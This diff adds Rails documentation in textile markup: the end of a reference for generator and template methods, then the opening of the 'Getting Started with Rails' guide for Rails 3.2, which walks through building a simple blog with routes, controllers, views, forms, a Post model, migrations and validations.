+The following are methods available for both generators and templates for Rails.
+
+NOTE: Methods provided by Thor are not covered this guide and can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html
+
+h4. +gem+
+
+Specifies a gem dependency of the application.
+
+<ruby>
+gem("rspec", :group => "test", :version => "2.1.0")
+gem("devise", "1.1.5")
+</ruby>
+
+Available options are:
+
+* +:group+ - The group in the +Gemfile+ where this gem should go.
+* +:version+ - The version string of the gem you want to use. Can also be specified as the second argument to the method.
+* +:git+ - The URL to the git repository for this gem.
+
+Any additional options passed to this method are put on the end of the line:
+
+<ruby>
+gem("devise", :git => "git://github.com/plataformatec/devise", :branch => "master")
+</ruby>
+
+The above code will put the following line into +Gemfile+:
+
+<ruby>
+gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master"
+</ruby>
+
+h4. +gem_group+
+
+Wraps gem entries inside a group:
+
+<ruby>
+gem_group :development, :test do
+  gem "rspec-rails"
+end
+</ruby>
+
+h4. +add_source+
+
+Adds a specified source to +Gemfile+:
+
+<ruby>
+add_source "http://gems.github.com"
+</ruby>
+
+h4. +inject_into_file+
+
+Injects a block of code into a defined position in your file.
+
+<ruby>
+inject_into_file 'name_of_file.rb', :after => "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
+  puts "Hello World"
+RUBY
+end
+</ruby>
+
+h4. +gsub_file+
+
+Replaces text inside a file.
+
+<ruby>
+gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
+</ruby>
+
+Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively.
+
+h4. +application+
+
+Adds a line to +config/application.rb+ directly after the application class definition.
+
+<ruby>
+application "config.asset_host = 'http://example.com'"
+</ruby>
+
+This method can also take a block:
+
+<ruby>
+application do
+  "config.asset_host = 'http://example.com'"
+end
+</ruby>
+
+Available options are:
+
+* +:env+ - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:
+
+<ruby>
+application(nil, :env => "development") do
+  "config.asset_host = 'http://localhost:3000'"
+end
+</ruby>
+
+h4. +git+
+
+Runs the specified git command:
+
+<ruby>
+git :init
+git :add => "."
+git :commit => "-m First commit!"
+git :add => "onefile.rb", :rm => "badfile.cxx"
+</ruby>
+
+The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.
+
+h4. +vendor+
+
+Places a file into +vendor+ which contains the specified code.
+
+<ruby>
+vendor("sekrit.rb", '#top secret stuff')
+</ruby>
+
+This method also takes a block:
+
+<ruby>
+vendor("seeds.rb") do
+  "puts 'in ur app, seeding ur database'"
+end
+</ruby>
+
+h4. +lib+
+
+Places a file into +lib+ which contains the specified code.
+
+<ruby>
+lib("special.rb", 'p Rails.root')
+</ruby>
+
+This method also takes a block:
+
+<ruby>
+lib("super_special.rb") do
+  puts "Super special!"
+end
+</ruby>
+
+h4. +rakefile+
+
+Creates a Rake file in the +lib/tasks+ directory of the application.
+
+<ruby>
+rakefile("test.rake", 'hello there')
+</ruby>
+
+This method also takes a block:
+
+<ruby>
+rakefile("test.rake") do
+  %Q{
+    task :rock => :environment do
+      puts "Rockin'"
+    end
+  }
+end
+</ruby>
+
+h4. +initializer+
+
+Creates an initializer in the +config/initializers+ directory of the application:
+
+<ruby>
+initializer("begin.rb", "puts 'this is the beginning'")
+</ruby>
+
+This method also takes a block:
+
+<ruby>
+initializer("begin.rb") do
+  puts "Almost done!"
+end
+</ruby>
+
+h4. +generate+
+
+Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.
+
+<ruby>
+generate("scaffold", "forums title:string description:text")
+</ruby>
+
+
+h4. +rake+
+
+Runs the specified Rake task.
+
+<ruby>
+rake("db:migrate")
+</ruby>
+
+Available options are:
+
+* +:env+ - Specifies the environment in which to run this rake task.
+* +:sudo+ - Whether or not to run this task using +sudo+. Defaults to +false+.
+
+h4. +capify!+
+
+Runs the +capify+ command from Capistrano at the root of the application which generates Capistrano configuration.
+
+<ruby>
+capify!
+</ruby>
+
+h4. +route+
+
+Adds text to the +config/routes.rb+ file:
+
+<ruby>
+route("resources :people")
+</ruby>
+
+h4. +readme+
+
+Output the contents of a file in the template's +source_path+, usually a README.
+
+<ruby>
+readme("README")
+</ruby>
diff --git a/guides/source/getting_started.textile b/guides/source/getting_started.textile
new file mode 100644
index 0000000000..22da369a2a
--- /dev/null
+++ b/guides/source/getting_started.textile
@@ -0,0 +1,1767 @@
+h2. Getting Started with Rails
+
+This guide covers getting up and running with Ruby on Rails. After reading it,
+you should be familiar with:
+
+* Installing Rails, creating a new Rails application, and connecting your application to a database
+* The general layout of a Rails application
+* The basic principles of MVC (Model, View Controller) and RESTful design
+* How to quickly generate the starting pieces of a Rails application
+
+endprologue.
+
+WARNING. This Guide is based on Rails 3.2. Some of the code shown here will not
+work in earlier versions of Rails.
+
+h3. Guide Assumptions
+
+This guide is designed for beginners who want to get started with a Rails
+application from scratch. It does not assume that you have any prior experience
+with Rails. However, to get the most out of it, you need to have some
+prerequisites installed:
+
+* The "Ruby":http://www.ruby-lang.org/en/downloads language version 1.9.3 or higher
+
+* The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system
+  ** If you want to learn more about RubyGems, please read the "RubyGems User Guide":http://docs.rubygems.org/read/book/1
+* A working installation of the "SQLite3 Database":http://www.sqlite.org
+
+Rails is a web application framework running on the Ruby programming language.
+If you have no prior experience with Ruby, you will find a very steep learning
+curve diving straight into Rails. There are some good free resources on the
+internet for learning Ruby, including:
+
+* "Mr. Neighborly's Humble Little Ruby Book":http://www.humblelittlerubybook.com
+* "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/
+* "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/
+
+h3. What is Rails?
+
+Rails is a web application development framework written in the Ruby language.
+It is designed to make programming web applications easier by making assumptions
+about what every developer needs to get started. It allows you to write less
+code while accomplishing more than many other languages and frameworks.
+Experienced Rails developers also report that it makes web application
+development more fun.
+
+Rails is opinionated software. It makes the assumption that there is a "best"
+way to do things, and it's designed to encourage that way - and in some cases to
+discourage alternatives. If you learn "The Rails Way" you'll probably discover a
+tremendous increase in productivity. If you persist in bringing old habits from
+other languages to your Rails development, and trying to use patterns you
+learned elsewhere, you may have a less happy experience.
+
+The Rails philosophy includes two major guiding principles:
+
+* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
+* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to
+do it, rather than requiring you to specify every little thing through endless configuration files.
+
+h3. Creating a New Rails Project
+
+The best way to use this guide is to follow each step as it happens, no code or
+step needed to make this example application has been left out, so you can
+literally follow along step by step. You can get the complete code
+"here":https://github.com/lifo/docrails/tree/master/guides/code/getting_started.
+
+By following along with this guide, you'll create a Rails project called
++blog+, a
+(very) simple weblog. Before you can start building the application, you need to
+make sure that you have Rails itself installed.
+
+TIP: The examples below use # and $ to denote superuser and regular user terminal prompts respectively in a UNIX-like OS. If you are using Windows, your prompt will look something like c:\source_code>
+
+h4. Installing Rails
+
+To install Rails, use the +gem install+ command provided by RubyGems:
+
+<shell>
+# gem install rails
+</shell>
+
+TIP. A number of tools exist to help you quickly install Ruby and Ruby
+on Rails on your system. Windows users can use "Rails
+Installer":http://railsinstaller.org, while Mac OS X users can use
+"Rails One Click":http://railsoneclick.com.
+
+To verify that you have everything installed correctly, you should be able to run the following:
+
+<shell>
+$ rails --version
+</shell>
+
+If it says something like "Rails 3.2.3" you are ready to continue.
+
+h4. Creating the Blog Application
+
+Rails comes with a number of generators that are designed to make your development life easier. One of these is the new application generator, which will provide you with the foundation of a Rails application so that you don't have to write it yourself.
+
+To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type:
+
+<shell>
+$ rails new blog
+</shell>
+
+This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in +Gemfile+ using +bundle install+.
+
+TIP: You can see all of the command line options that the Rails
+application builder accepts by running +rails new -h+.
+
+After you create the blog application, switch to its folder to continue work directly in that application:
+
+<shell>
+$ cd blog
+</shell>
+
+The +rails new blog+ command we ran above created a folder in your
+working directory called +blog+. The +blog+ directory has a number of
+auto-generated files and folders that make up the structure of a Rails
+application. Most of the work in this tutorial will happen in the +app/+ folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default:
+
+|_.File/Folder|_.Purpose|
+|app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.|
+|config/|Configure your application's runtime rules, routes, database, and more.  This is covered in more detail in "Configuring Rails Applications":configuring.html|
+|config.ru|Rack configuration for Rack based servers used to start the application.|
+|db/|Contains your current database schema, as well as the database migrations.|
+|doc/|In-depth documentation for your application.|
+|Gemfile<BR />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see "the Bundler website":http://gembundler.com |
+|lib/|Extended modules for your application.|
+|log/|Application log files.|
+|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.|
+|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
+|README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
+|script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
+|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html|
+|tmp/|Temporary files (like cache, pid and session files)|
+|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).|
+
+h3. Hello, Rails!
+
+To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running.
+
+h4. Starting up the Web Server
+
+You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running:
+
+<shell>
+$ rails server
+</shell>
+
+TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an +execjs+ error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the +therubyracer+ gem to Gemfile in a commented line for new apps and you can uncomment if you need it. +therubyrhino+ is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at "ExecJS":https://github.com/sstephenson/execjs#readme.
+
+This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to "http://localhost:3000":http://localhost:3000. You should see the Rails default information page:
+
+!images/rails_welcome.png(Welcome Aboard screenshot)!
+
+TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server.
+
+The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your application's environment.
+
+h4. Say "Hello", Rails
+
+To get Rails saying "Hello", you need to create at minimum a _controller_ and a _view_.
+
+A controller's purpose is to receive specific requests for the application. _Routing_ decides which controller receives which requests. Often, there is more than one route to each controller, and different routes can be served by different _actions_. Each action's purpose is to collect information to provide it to a view.
+
+A view's purpose is to display this information in a human readable format. An important distinction to make is that it is the _controller_, not the view, where information is collected. The view should just display that information. By default, view templates are written in a language called ERB (Embedded Ruby) which is converted by the request cycle in Rails before being sent to the user.
+
+To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "welcome" with an action called "index", just like this:
+
+<shell>
+$ rails generate controller welcome index
+</shell>
+
+Rails will create several files and a route for you.
+
+<shell>
+create  app/controllers/welcome_controller.rb
+ route  get "welcome/index"
+invoke  erb
+create    app/views/welcome
+create    app/views/welcome/index.html.erb
+invoke  test_unit
+create    test/functional/welcome_controller_test.rb
+invoke  helper
+create    app/helpers/welcome_helper.rb
+invoke    test_unit
+create      test/unit/helpers/welcome_helper_test.rb
+invoke  assets
+invoke    coffee
+create      app/assets/javascripts/welcome.js.coffee
+invoke    scss
+create      app/assets/stylesheets/welcome.css.scss
+</shell>
+
+Most important of these are of course the controller, located at +app/controllers/welcome_controller.rb+ and the view, located at +app/views/welcome/index.html.erb+.
+
+Open the +app/views/welcome/index.html.erb+ file in your text editor and edit it to contain a single line of code:
+
+<html>
+<h1>Hello, Rails!</h1>
+</html>
+
+h4. Setting the Application Home Page
+
+Now that we have made the controller and view, we need to tell Rails when we want "Hello Rails!" to show up. In our case, we want it to show up when we navigate to the root URL of our site, "http://localhost:3000":http://localhost:3000. At the moment, however, the "Welcome Aboard" smoke test is occupying that spot.
+
+To fix this, delete the +index.html+ file located inside the +public+ directory of the application.
+
+You need to do this because Rails will serve any static file in the +public+ directory that matches a route in preference to any dynamic content you generate from the controllers. The +index.html+ file is special: it will be served if a request comes in at the root route, e.g. http://localhost:3000. If another request such as http://localhost:3000/welcome happened, a static file at <tt>public/welcome.html</tt> would be served first, but only if it existed.
+
+Next, you have to tell Rails where your actual home page is located.
+
+Open the file +config/routes.rb+ in your editor.
+
+<ruby>
+Blog::Application.routes.draw do
+  get "welcome/index"
+
+  # The priority is based upon order of creation:
+  # first created -> highest priority.
+  # ...
+  # You can have the root of your site routed with "root"
+  # just remember to delete public/index.html.
+  # root :to => "welcome#index"
+</ruby>
+
+This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with +root :to+ and uncomment it. It should look something like the following:
+
+<ruby>
+root :to => "welcome#index"
+</ruby>
+
+The +root :to => "welcome#index"+ tells Rails to map requests to the root of the application to the welcome controller's index action and +get "welcome/index"+ tells Rails to map requests to "http://localhost:3000/welcome/index":http://localhost:3000/welcome/index to the welcome controller's index action. This was created earlier when you ran the controller generator (+rails generate controller welcome index+).
+
+If you navigate to "http://localhost:3000":http://localhost:3000 in your browser, you'll see the +Hello, Rails!+ message you put into +app/views/welcome/index.html.erb+, indicating that this new route is indeed going to +WelcomeController+'s +index+ action and is rendering the view correctly.
+
+NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html.
+
+h3. Getting Up and Running
+
+Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance.
+
+In the Blog application, you will now create a new _resource_. A resource is the term used for a collection of similar objects, such as posts, people or animals. You can create, read, update and destroy items for a resource and these operations are referred to as _CRUD_ operations.
+
+In the next section, you will add the ability to create new posts in your application and be able to view them. This is the "C" and the "R" from CRUD: creation and reading. The form for doing this will look like this:
+
+!images/getting_started/new_post.png(The new post form)!
+
+It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards.
+
+h4. Laying down the ground work
+
+The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at +/posts/new+. If you attempt to navigate to that now -- by visiting "http://localhost:3000/posts/new":http://localhost:3000/posts/new -- Rails will give you a routing error:
+
+!images/getting_started/routing_error_no_route_matches.png(A routing error, no route matches /posts/new)!
+
+This is because there is nowhere inside the routes for the application -- defined inside +config/routes.rb+ -- that defines this route. By default, Rails has no routes configured at all, besides the root route you defined earlier, and so you must define your routes as you need them.
+
+ To do this, you're going to need to create a route inside +config/routes.rb+ file, on a new line between the +do+ and the +end+ for the +draw+ method:
+
+<ruby>
+get "posts/new"
+</ruby>
+
+This route is a super-simple route: it defines a new route that only responds to +GET+ requests, and that the route is at +posts/new+. But how does it know where to go without the use of the +:to+ option? Well, Rails uses a sensible default here: Rails will assume that you want this route to go to the new action inside the posts controller.
+
+With the route defined, requests can now be made to +/posts/new+ in the application. Navigate to "http://localhost:3000/posts/new":http://localhost:3000/posts/new and you'll see another routing error:
+
+!images/getting_started/routing_error_no_controller.png(Another routing error, uninitialized constant PostsController)!
+
+This error is happening because this route need a controller to be defined. The route is attempting to find that controller so it can serve the request, but with the controller undefined, it just can't do that. The solution to this particular problem is simple: you need to create a controller called +PostsController+. You can do this by running this command:
+
+<shell>
+$ rails g controller posts
+</shell>
+
+If you open up the newly generated +app/controllers/posts_controller.rb+ you'll see a fairly empty controller:
+
+<ruby>
+class PostsController < ApplicationController
+end
+</ruby>
+
+A controller is simply a class that is defined to inherit from +ApplicationController+. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system.
+
+If you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new now, you'll get a new error:
+
+!images/getting_started/unknown_action_new_for_posts.png(Unknown action new for PostsController!)!
+
+This error indicates that Rails cannot find the +new+ action inside the +PostsController+ that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process.
+
+To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open +app/controllers/posts_controller.rb+ and inside the +PostsController+ class, define a +new+ method like this:
+
+<ruby>
+def new
+end
+</ruby>
+
+With the +new+ method defined in +PostsController+, if you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll see another error:
+
+!images/getting_started/template_is_missing_posts_new.png(Template is missing for posts/new)!
+
+You're getting this error now because Rails expects plain actions like this one to have views associated with them to display their information. With no view available, Rails errors out.
+
+In the above image, the bottom line has been truncated. Let's see what the full thing looks like:
+
+<blockquote>
+Missing template posts/new, application/new with {:locale=>[:en], :formats=>[:html], :handlers=>[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views"
+</blockquote>
+
+That's quite a lot of text! Let's quickly go through and understand what each part of it does.
+
+The first part identifies what template is missing. In this case, it's the +posts/new+ template. Rails will first look for this template. If not found, then it will attempt to load a template called +application/new+. It looks for one here because the +PostsController+ inherits from +ApplicationController+.
+
+The next part of the message contains a hash. The +:locale+ key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English -- or "en" -- template. The next key, +:formats+ specifies the format of template to be served in response . The default format is +:html+, and so Rails is looking for an HTML template. The final key, +:handlers+, is telling us what _template handlers_ could be used to render our template. +:erb+ is most commonly used for HTML templates, +:builder+ is used for XML templates, and +:coffee+ uses CoffeeScript to build JavaScript templates.
+
+The final part of this message tells us where Rails has looked for the templates. Templates within a basic Rails application like this are kept in a single location, but in more complex applications it could be many different paths.
+
+The simplest template that would work in this case would be one located at +app/views/posts/new.html.erb+. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called +posts/new+ within +app/views+ for the application. The format for this template can only be +html+ and the handler must be one of +erb+, +builder+ or +coffee+. Because you want to create a new HTML form, you will be using the +ERB+ language. Therefore the file should be called +posts/new.html.erb+ and needs to be located inside the +app/views+ directory of the application.
+
+Go ahead now and create a new file at +app/views/posts/new.html.erb+ and write this content in it:
+
+<erb>
+<h1>New Post</h1>
+</erb>
+
+When you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post.
+
+h4. The first form
+
+To create a form within this template, you will use a <em>form
+builder</em>. The primary form builder for Rails is provided by a helper
+method called +form_for+. To use this method, add this code into +app/views/posts/new.html.erb+:
+
+<erb>
+<%= form_for :post do |f| %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+</erb>
+
+If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy!
+
+When you call +form_for+, you pass it an identifying object for this
+form. In this case, it's the symbol +:post+. This tells the +form_for+
+helper what this form is for. Inside the block for this method, the
++FormBuilder+ object -- represented by +f+ -- is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to +submit+ on the +f+ object will create a submit button for the form.
+
+There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the +action+ attribute for the form is pointing at +/posts/new+. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post.
+
+The form needs to use a different URL in order to go somewhere else.
+This can be done quite simply with the +:url+ option of +form_for+.
+Typically in Rails, the action that is used for new form submissions
+like this is called "create", and so the form should be pointed to that action.
+
+Edit the +form_for+ line inside +app/views/posts/new.html.erb+ to look like this:
+
+<erb>
+<%= form_for :post, :url => { :action => :create } do |f| %>
+</erb>
+
+In this example, a +Hash+ object is passed to the +:url+ option. What Rails will do with this is that it will point the form to the +create+ action of the current controller, the +PostsController+, and will send a +POST+ request to that route. For this to work, you will need to add a route to +config/routes.rb+, right underneath the one for "posts/new":
+
+<ruby>
+post "posts" => "posts#create"
+</ruby>
+
+By using the +post+ method rather than the +get+ method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web.
+
+With the form and its associated route defined, you will be able to fill in the form and then click the submit button to begin the process of creating a new post, so go ahead and do that. When you submit the form, you should see a familiar error:
+
+!images/getting_started/unknown_action_create_for_posts.png(Unknown action create for PostsController)!
+
+You now need to create the +create+ action within the +PostsController+ for this to work.
+
+h4. Creating posts
+
+To make the "Unknown action" go away, you can define a +create+ action within the +PostsController+ class in +app/controllers/posts_controller.rb+, underneath the +new+ action:
+
+<ruby>
+class PostsController < ApplicationController
+  def new
+  end
+
+  def create
+  end
+
+end
+</ruby>
+
+If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the +create+ action should be doing is saving our new post to a database.
+
+When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the +create+ action to this:
+
+<ruby>
+def create
+  render :text => params[:post].inspect
+end
+</ruby>
+
+The +render+ method here is taking a very simple hash with a key of +text+ and value of +params[:post].inspect+. The +params+ method is the object which represents the parameters (or fields) coming in from the form. The +params+ method returns a +HashWithIndifferentAccess+ object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form.
+
+If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following:
+
+<ruby>
+{"title"=>"First post!", "text"=>"This is my first post."}
+</ruby>
+
+This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them.
+
+h4. Creating the Post model
+
+Models in Rails use a singular name, and their corresponding database tables use
+a plural name. Rails provides a generator for creating models, which
+most Rails developers tend to use when creating new models.
+To create the new model, run this command in your terminal:
+
+<shell>
+$ rails generate model Post title:string text:text
+</shell>
+
+With that command we told Rails that we want a +Post+ model, together
+with a _title_ attribute of type string, and a _text_ attribute
+of type text. Those attributes are automatically added to the +posts+
+table in the database and mapped to the +Post+ model.
+
+Rails responded by creating a bunch of files. For
+now, we're only interested in +app/models/post.rb+ and
++db/migrate/20120419084633_create_posts.rb+ (your name could be a bit
+different). The latter is responsible
+for creating the database structure, which is what we'll look at next.
+
+TIP: Active Record is smart enough to automatically map column names to
+model attributes, which means you don't have to declare attributes
+inside Rails models, as that will be done automatically by Active
+Record.
+
+h4. Running a Migration
+
+As we've just seen, +rails generate model+ created a _database
+migration_ file inside the +db/migrate+ directory.
+Migrations are Ruby classes that are designed to make it simple to
+create and modify database tables. Rails uses rake commands to run migrations,
+and it's possible to undo a migration after it's been applied to your database.
+Migration filenames include a timestamp to ensure that they're processed in the
+order that they were created.
+
+If you look in the +db/migrate/20120419084633_create_posts.rb+ file (remember,
+yours will have a slightly different name), here's what you'll find:
+
+<ruby>
+class CreatePosts < ActiveRecord::Migration
+  def change
+    create_table :posts do |t|
+      t.string :title
+      t.text :text
+
+      t.timestamps
+    end
+  end
+end
+</ruby>
+
+The above migration creates a method named +change+ which will be called when you
+run this migration. The action defined in this method is also reversible, which
+means Rails knows how to reverse the change made by this migration, in case you
+want to reverse it later. When you run this migration it will create a
++posts+ table with one string column and a text column. It also creates two
+timestamp fields to allow Rails to track post creation and update times. More
+information about Rails migrations can be found in the "Rails Database
+Migrations":migrations.html guide.
+
+At this point, you can use a rake command to run the migration:
+
+<shell>
+$ rake db:migrate
+</shell>
+
+Rails will execute this migration command and tell you it created the Posts
+table.
+
+<shell>
+==  CreatePosts: migrating ====================================================
+-- create_table(:posts)
+   -> 0.0019s
+==  CreatePosts: migrated (0.0020s) ===========================================
+</shell>
+
+NOTE. Because you're working in the development environment by default, this
+command will apply to the database defined in the +development+ section of your
++config/database.yml+ file. If you would like to execute migrations in another
+environment, for instance in production, you must explicitly pass it when
+invoking the command: +rake db:migrate RAILS_ENV=production+.
+
+h4. Saving data in the controller
+
+Back in +posts_controller+, we need to change the +create+ action
+to use the new +Post+ model to save the data in the database. Open that file
+and change the +create+ action to look like this:
+
+<ruby>
+def create
+  @post = Post.new(params[:post])
+
+  @post.save
+  redirect_to :action => :show, :id => @post.id
+end
+</ruby>
+
+Here's what's going on: every Rails model can be initialized with its
+respective attributes, which are automatically mapped to the respective
+database columns. In the first line we do just that (remember that
++params[:post]+ contains the attributes we're interested in). Then,
++@post.save+ is responsible for saving the model in the database.
+Finally, we redirect the user to the +show+ action,
+which we'll define later.
+
+TIP: As we'll see later, +@post.save+ returns a boolean indicating
+wherever the model was saved or not.
+
+h4. Showing Posts
+
+If you submit the form again now, Rails will complain about not finding
+the +show+ action. That's not very useful though, so let's add the
++show+ action before proceeding. Open +config/routes.rb+ and add the following route:
+
+<ruby>
+get "posts/:id" => "posts#show"
+</ruby>
+
+The special syntax +:id+ tells rails that this route expects an +:id+
+parameter, which in our case will be the id of the post. Note that this
+time we had to specify the actual mapping, +posts#show+ because
+otherwise Rails would not know which action to render.
+
+As we did before, we need to add the +show+ action in the
++posts_controller+ and its respective view.
+
+<ruby>
+def show
+  @post = Post.find(params[:id])
+end
+</ruby>
+
+A couple of things to note. We use +Post.find+ to find the post we're
+interested in. We also use an instance variable (prefixed by +@+) to
+hold a reference to the post object. We do this because Rails will pass all instance
+variables to the view.
+
+Now, create a new file +app/view/posts/show.html.erb+ with the following
+content:
+
+<erb>
+<p>
+  <strong>Title:</strong>
+  <%= @post.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @post.text %>
+</p>
+</erb>
+
+Finally, if you now go to
+"http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll
+be able to create a post. Try it!
+
+!images/getting_started/show_action_for_posts.png(Show action for posts)!
+
+h4. Listing all posts
+
+We still need a way to list all our posts, so let's do that. As usual,
+we'll need a route placed into +config/routes.rb+:
+
+<ruby>
+get "posts" => "posts#index"
+</ruby>
+
+And an action for that route inside the +PostsController+ in the +app/controllers/posts_controller.rb+ file:
+
+<ruby>
+def index
+  @posts = Post.all
+end
+</ruby>
+
+And then finally a view for this action, located at +app/views/posts/index.html.erb+:
+
+<erb>
+<h1>Listing posts</h1>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+  </tr>
+
+  <% @posts.each do |post| %>
+    <tr>
+      <td><%= post.title %></td>
+      <td><%= post.text %></td>
+    </tr>
+  <% end %>
+</table>
+</erb>
+
+Now if you go to +http://localhost:3000/posts+ you will see a list of all the posts that you have created.
+
+h4. Adding links
+
+You can now create, show, and list posts. Now let's add some links to
+navigate through pages.
+
+Open +app/views/welcome/index.html.erb+ and modify it as follows:
+
+<ruby>
+<h1>Hello, Rails!</h1>
+<%= link_to "My Blog", :controller => "posts" %>
+</ruby>
+
+The +link_to+ method is one of Rails' built-in view helpers. It creates a
+hyperlink based on text to display and where to go - in this case, to the path
+for posts.
+
+Let's add links to the other views as well, starting with adding this "New Post" link to +app/views/posts/index.html.erb+, placing it above the +&lt;table&gt;+ tag:
+
+<erb>
+<%= link_to 'New post', :action => :new %>
+</erb>
+
+This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template -- +app/views/posts/new.html.erb+ -- to go back to the +index+ action. Do this by adding this underneath the form in this template:
+
+<erb>
+<%= form_for :post do |f| %>
+  ...
+<% end %>
+
+<%= link_to 'Back', :action => :index %>
+</erb>
+
+Finally, add another link to the +app/views/posts/show.html.erb+ template to go back to the +index+ action as well, so that people who are viewing a single post can go back and view the whole list again:
+
+<erb>
+<p>
+  <strong>Title:</strong>
+  <%= @post.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @post.text %>
+</p>
+
+<%= link_to 'Back', :action => :index %>
+</erb>
+
+TIP: If you want to link to an action in the same controller, you don't
+need to specify the +:controller+ option, as Rails will use the current
+controller by default.
+
+TIP: In development mode (which is what you're working in by default), Rails
+reloads your application with every browser request, so there's no need to stop
+and restart the web server when a change is made.
+
+h4. Allowing the update of fields
+
+The model file, +app/models/post.rb+ is about as simple as it can get:
+
+<ruby>
+class Post < ActiveRecord::Base
+end
+</ruby>
+
+There isn't much to this file - but note that the +Post+ class inherits from
++ActiveRecord::Base+. Active Record supplies a great deal of functionality to
+your Rails models for free, including basic database CRUD (Create, Read, Update,
+Destroy) operations, data validation, as well as sophisticated search support
+and the ability to relate multiple models to one another.
+
+Rails includes methods to help you secure some of your model fields.
+Open the +app/models/post.rb+ file and edit it:
+
+<ruby>
+class Post < ActiveRecord::Base
+  attr_accessible :text, :title
+end
+</ruby>
+
+This change will ensure that all changes made through HTML forms can edit the content of the text and title fields.
+It will not be possible to define any other field value through forms. You can still define them by calling the `field=` method of course.
+Accessible attributes and the mass assignment problem is covered in details in the "Security guide":security.html#mass-assignment
+
+h4. Adding Some Validation
+
+Rails includes methods to help you validate the data that you send to models.
+Open the +app/models/post.rb+ file and edit it:
+
+<ruby>
+class Post < ActiveRecord::Base
+  attr_accessible :text, :title
+
+  validates :title, :presence => true,
+                    :length => { :minimum => 5 }
+end
+</ruby>
+
+These changes will ensure that all posts have a title that is at least five characters long.
+Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their
+format, and the existence of associated objects. Validations are covered in detail
+in "Active Record Validations and
+Callbacks":active_record_validations_callbacks.html#validations-overview
+
